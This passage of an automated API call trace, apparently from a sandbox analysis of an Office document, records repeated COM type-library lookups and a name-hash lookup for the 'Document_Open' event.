ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xad, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xae, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaf, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb0, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb2, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb3, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb6, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb8, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb9, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xba, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbb, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbc, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbd, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbe, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbf, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc0, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc2, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc3, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc6, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc8, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc9, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xca, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcb, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcc, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcd, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xce, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcf, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd0, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd2, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd3, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd6, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd8, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd9, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xda, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdb, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdc, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdd, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.872] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.872] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xde, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdf, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe0, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe2, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe3, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe6, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe8, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe9, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xea, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xeb, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xec, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xed, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xee, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xef, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf0, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf2, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf3, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.873] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf6, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.873] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.874] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.874] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.874] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf8, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.874] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.874] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267158 | out: pVarVal=0x267158*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.874] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.874] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267150, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x267060, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.874] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267100 | out: ppvObject=0x267100*=0x0) returned 0x80004002 [0036.874] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x267128, pDummy=0x10 | out: ppTypeAttr=0x267128, pDummy=0x10) returned 0x0 [0036.874] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.874] IMalloc:Realloc (This=0x7feff045380, pv=0x8228fd0, cb=0x62) returned 0x81a0de0 [0036.874] IUnknown:AddRef (This=0x8087e90) returned 0x4 [0036.874] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.874] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.874] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.874] ITypeInfo:RemoteGetDocumentation (in: This=0x8087e90, memid=5, refPtrFlags=0x2674e0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000002 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000002) returned 0x0 [0036.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x267530, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0036.874] _mbscpy_s (in: _Dst=0x267380, _DstSizeInBytes=0xe, _Src=0x3232b3e | out: _Dst=0x267380) returned 0x0 [0036.874] _mbscpy_s (in: _Dst=0x267389, _DstSizeInBytes=0x5, _Src=0x267530 | out: _Dst=0x267389) returned 0x0 [0036.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0036.874] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228fd0 [0036.875] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266c20 | out: ppvObject=0x266c20*=0x0) returned 0x80004002 [0036.875] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x266b68 | out: ppvObject=0x266b68*=0x8087d30) returned 0x0 [0036.875] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x266b78 | out: pVarVal=0x266b78*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.876] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.876] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x266b70, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x266b90 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x266b90*="") returned 0x0 [0036.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x266a80, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.876] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.876] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266b70, pDummy=0x0 | out: ppTypeAttr=0x266b70, pDummy=0x0) returned 0x0 [0036.876] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x0, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] 